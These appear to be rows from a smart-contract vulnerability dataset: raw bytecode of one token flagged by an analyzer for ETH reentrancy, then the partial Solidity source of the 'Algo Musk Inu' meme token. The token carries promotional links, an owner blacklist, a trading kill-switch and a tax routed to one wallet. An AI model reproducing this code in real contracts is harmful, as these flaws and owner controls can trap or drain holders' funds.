fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c1565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906129c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4f746f72692d696e750000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906129c7565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e24565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612d7d565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b8161192f565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906129c7565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a47565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1491906123bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae91906123bf565b6040518363ffffffff1660e01b8152600401610dcb929190612837565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906123bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed396959493929190612889565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f259190612562565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a929190612860565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c9190612535565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612967565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612a67565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190612927565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f4906129e7565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561157a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115e85750600f60179054906101000a900460ff165b15611698576010548111156115fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061164757600080fd5b601e426116549190612b9d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116a330610752565b9050600f60159054906101000a900460ff161580156117105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117285750600f60169054906101000a900460ff165b15611750576117368161192f565b6000479050600081111561174e5761174d476117c6565b5b505b505b61175d838383611bb7565b505050565b60008383111582906117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a19190612905565b60405180910390fd5b50600083856117b99190612c7e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611816600284611bc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611841573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611892600284611bc790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156118bd573d6000803e3d6000fd5b5050565b6000600854821115611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612947565b60405180910390fd5b6000611912611c11565b90506119278184611bc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196757611966612e53565b5b6040519080825280602002602001820160405280156119955781602001602082028036833780820191505090505b50905030816000815181106119ad576119ac612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4f57600080fd5b505afa158015611a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8791906123bf565b81600181518110611a9b57611a9a612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b66959493929190612a82565b600060405180830381600087803b158015611b8057600080fd5b505af1158015611b94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611bc2838383611c3c565b505050565b6000611c0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e07565b905092915050565b6000806000611c1e611e6a565b91509150611c358183611bc790919063ffffffff16565b9250505090565b600080600080600080611c4e87611ed5565b955095509550955095509550611cac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8d81611fe5565b611d9784836120a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611df49190612a67565b60405180910390a3505050505050505050565b60008083118290611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e459190612905565b60405180910390fd5b5060008385611e5d9190612bf3565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611ea66b033b2e3c9fd0803ce8000000600854611bc790919063ffffffff16565b821015611ec8576008546b033b2e3c9fd0803ce8000000935093505050611ed1565b81819350935050505b9091565b6000806000806000806000806000611ef28a600a54600b546120dc565b9250925092506000611f02611c11565b90506000806000611f158e878787612172565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f7f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611762565b905092915050565b6000808284611f969190612b9d565b905083811015611fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd290612987565b60405180910390fd5b8091505092915050565b6000611fef611c11565b9050600061200682846121fb90919063ffffffff16565b905061205a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6120b782600854611f3d90919063ffffffff16565b6008819055506120d281600954611f8790919063ffffffff16565b6009819055505050565b60008060008061210860646120fa888a6121fb90919063ffffffff16565b611bc790919063ffffffff16565b905060006121326064612124888b6121fb90919063ffffffff16565b611bc790919063ffffffff16565b9050600061215b8261214d858c611f3d90919063ffffffff16565b611f3d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061218b85896121fb90919063ffffffff16565b905060006121a286896121fb90919063ffffffff16565b905060006121b987896121fb90919063ffffffff16565b905060006121e2826121d48587611f3d90919063ffffffff16565b611f3d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561220e5760009050612270565b6000828461221c9190612c24565b905082848261222b9190612bf3565b1461226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906129a7565b60405180910390fd5b809150505b92915050565b600061228961228484612b1c565b612af7565b905080838252602082019050828560208602820111156122ac576122ab612e87565b5b60005b858110156122dc57816122c288826122e6565b8452602084019350602083019250506001810190506122af565b5050509392505050565b6000813590506122f58161314b565b92915050565b60008151905061230a8161314b565b92915050565b600082601f83011261232557612324612e82565b5b8135612335848260208601612276565b91505092915050565b60008135905061234d81613162565b92915050565b60008151905061236281613162565b92915050565b60008135905061237781613179565b92915050565b60008151905061238c81613179565b92915050565b6000602082840312156123a8576123a7612e91565b5b60006123b6848285016122e6565b91505092915050565b6000602082840312156123d5576123d4612e91565b5b60006123e3848285016122fb565b91505092915050565b6000806040838503121561240357612402612e91565b5b6000612411858286016122e6565b9250506020612422858286016122e6565b9150509250929050565b60008060006060848603121561244557612444612e91565b5b6000612453868287016122e6565b9350506020612464868287016122e6565b925050604061247586828701612368565b9150509250925092565b6000806040838503121561249657612495612e91565b5b60006124a4858286016122e6565b92505060206124b585828601612368565b9150509250929050565b6000602082840312156124d5576124d4612e91565b5b600082013567ffffffffffffffff8111156124f3576124f2612e8c565b5b6124ff84828501612310565b91505092915050565b60006020828403121561251e5761251d612e91565b5b600061252c8482850161233e565b91505092915050565b60006020828403121561254b5761254a612e91565b5b600061255984828501612353565b91505092915050565b60008060006060848603121561257b5761257a612e91565b5b60006125898682870161237d565b935050602061259a8682870161237d565b92505060406125ab8682870161237d565b9150509250925092565b60006125c183836125cd565b60208301905092915050565b6125d681612cb2565b82525050565b6125e581612cb2565b82525050565b60006125f682612b58565b6126008185612b7b565b935061260b83612b48565b8060005b8381101561263c57815161262388826125b5565b975061262e83612b6e565b92505060018101905061260f565b5085935050505092915050565b61265281612cc4565b82525050565b61266181612d07565b82525050565b600061267282612b63565b61267c8185612b8c565b935061268c818560208601612d19565b61269581612e96565b840191505092915050565b60006126ad602383612b8c565b91506126b882612ea7565b604082019050919050565b60006126d0602a83612b8c565b91506126db82612ef6565b604082019050919050565b60006126f3602283612b8c565b91506126fe82612f45565b604082019050919050565b6000612716601b83612b8c565b915061272182612f94565b602082019050919050565b6000612739602183612b8c565b915061274482612fbd565b604082019050919050565b600061275c602083612b8c565b91506127678261300c565b602082019050919050565b600061277f602983612b8c565b915061278a82613035565b604082019050919050565b60006127a2602583612b8c565b91506127ad82613084565b604082019050919050565b60006127c5602483612b8c565b91506127d0826130d3565b604082019050919050565b60006127e8601783612b8c565b91506127f382613122565b602082019050919050565b61280781612cf0565b82525050565b61281681612cfa565b82525050565b600060208201905061283160008301846125dc565b92915050565b600060408201905061284c60008301856125dc565b61285960208301846125dc565b9392505050565b600060408201905061287560008301856125dc565b61288260208301846127fe565b9392505050565b600060c08201905061289e60008301896125dc565b6128ab60208301886127fe565b6128b86040830187612658565b6128c56060830186612658565b6128d260808301856125dc565b6128df60a08301846127fe565b979650505050505050565b60006020820190506128ff6000830184612649565b92915050565b6000602082019050818103600083015261291f8184612667565b905092915050565b60006020820190508181036000830152612940816126a0565b9050919050565b60006020820190508181036000830152612960816126c3565b9050919050565b60006020820190508181036000830152612980816126e6565b9050919050565b600060208201905081810360008301526129a081612709565b9050919050565b600060208201905081810360008301526129c08161272c565b9050919050565b600060208201905081810360008301526129e08161274f565b9050919050565b60006020820190508181036000830152612a0081612772565b9050919050565b60006020820190508181036000830152612a2081612795565b9050919050565b60006020820190508181036000830152612a40816127b8565b9050919050565b60006020820190508181036000830152612a60816127db565b9050919050565b6000602082019050612a7c60008301846127fe565b92915050565b600060a082019050612a9760008301886127fe565b612aa46020830187612658565b8181036040830152612ab681866125eb565b9050612ac560608301856125dc565b612ad260808301846127fe565b9695505050505050565b6000602082019050612af1600083018461280d565b92915050565b6000612b01612b12565b9050612b0d8282612d4c565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3757612b36612e53565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba882612cf0565b9150612bb383612cf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be857612be7612dc6565b5b828201905092915050565b6000612bfe82612cf0565b9150612c0983612cf0565b925082612c1957612c18612df5565b5b828204905092915050565b6000612c2f82612cf0565b9150612c3a83612cf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c7357612c72612dc6565b5b828202905092915050565b6000612c8982612cf0565b9150612c9483612cf0565b925082821015612ca757612ca6612dc6565b5b828203905092915050565b6000612cbd82612cd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d1282612cf0565b9050919050565b60005b83811015612d37578082015181840152602081019050612d1c565b83811115612d46576000848401525b50505050565b612d5582612e96565b810181811067ffffffffffffffff82111715612d7457612d73612e53565b5b80604052505050565b6000612d8882612cf0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dbb57612dba612dc6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61315481612cb2565b811461315f57600080fd5b50565b61316b81612cc4565b811461317657600080fd5b50565b61318281612cf0565b811461318d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206aceba0401dfce87de4d36aeb12669e1d19ce188af98d44c2e27ef9ffb695b2d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,318 |
0x6e0c04c4e3ff0b4b873c66e72c32c278c232f557 | /**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
https://t.me/inualgorithm
https://twitter.com/elonmusk/status/1507041396242407424
Musk Stealth Launch Uniswap
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract musksalgo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Algo Musk Inu";
string private constant _symbol = "ALGO INU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xaC24030706be12c5F895f602c6b054f9925c1A7a);
address payable private _marketingAddress = payable(0xaC24030706be12c5F895f602c6b054f9925c1A7a);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
